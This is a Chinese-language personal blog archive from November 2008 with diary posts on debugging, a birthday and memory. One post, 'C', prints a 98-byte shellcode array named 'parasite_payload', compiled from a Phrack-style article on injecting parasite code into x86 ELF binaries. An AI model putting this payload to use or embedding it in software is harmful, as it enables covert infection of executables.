Archive for November, 2008

程序随笔 - 6

Sunday, November 30th, 2008

上周bugzilla上接到三个bug,两个P2,一个P1,让我的工作着实充实了一把。P1的大臭虫还没有去修补,因为发现把apache服务器downgrade到2.0版本后便没问题了。

第一个P2的bug让我头疼了好久,颇有左右为难之感。第二个bug藏在expect脚本之中,表面上看去脚本明明已经执行到末尾的”exit 0″,但就是没有退出,颇为诡异。两个臭虫足足花了我两天时间,然而亦有所得。前者以前碰到过,但一直没有引起重视。后者则是更新了系统之后才出现的。搞定前者是之前好好研究了一把APUE中的某些章节,而搞定后者则是因为仔细阅读了“man expect”。

这写日子在看AutoGen,一个很好的对Scheme的应用。什么时候我也能自己创建出一个小的DSL呢?

birthday

Friday, November 21st, 2008
再过几分钟就是26岁生日了。二十四节气中,每年的这一天大都是“小雪”。中学的时候一度很喜欢任贤齐的那首同名歌曲,多少有些干系。

我习惯追忆,但幸而不沉湎其中。时光之书篇一页一页地翻开,未来有待书写,而过去亦可重新品读一番。扉页中的理想,深夜中的梦境,如光影交错,在心头掠过。子曰:“往者不可谏,来着犹可追。”简单生活简单爱,如此而已。

御用理发师终于帮我修理掉了已经显得略长的头发,无意中这也算是cost-saving举措之一了。

statistic

Wednesday, November 19th, 2008

一图胜千言。

C

Tuesday, November 18th, 2008

翻翻硬盘中的文件,瞄到了以前保存下来的一篇文章,关于用C语言写x86下ELF格式文件的寄生代码。文章是典型的phrack风格,很快便看完。把文中的代码拷贝下来,没法编译过。不过稍微改改就能跑了,输出结果(重新编排过)如下:

char parasite_payload[]="\x60\xe8\x40\x00\x00\x00\xb8\x45\x53\x45""\x53\xff\xe0\x61\x55\x89\xe5\x83\xec\x04\x53\x8b\x44\x24\x0c\x8b""\x5c\x24\x10\xcd\x80\x5b\xc9\xc3\x55\x89\xe5\x83\xec\x04\xe8\x00""\x00\x00\x00\x58\x05\x35\x00\x00\x00\xc9\xc3\x55\x89\xe5\x83\xec""\x04\xe8\x00\x00\x00\x00\x58\x83\xe8\x40\xc9\xc3\x55\x89\xe5\x83""\xec\x08\xc7\x44\x24\x04\xc9\x11\x00\x00\xc7\x04\x24\x01\x00\x00""\x00\xe8\xae\xff\xff\xff\xc9\xc3";size: 98

有兴趣的朋友可以看看原文[链接],试试修改一下。

失忆

Sunday, November 9th, 2008

和经济形势一样,天气也突然间凉了下来,连思维都被冻僵。连续几天做着奇怪的梦,神秘而光怪陆离。午夜睡不着觉的时候不由自主地回想起工作前的时光。回忆是个奇怪的东西。不去想的会莫名其妙地浮现,拼命想的却再也记不起来。时间侵蚀的力量真的很强大,心血来潮想看看校友录,却发现自己已经把帐号彻底忘记了。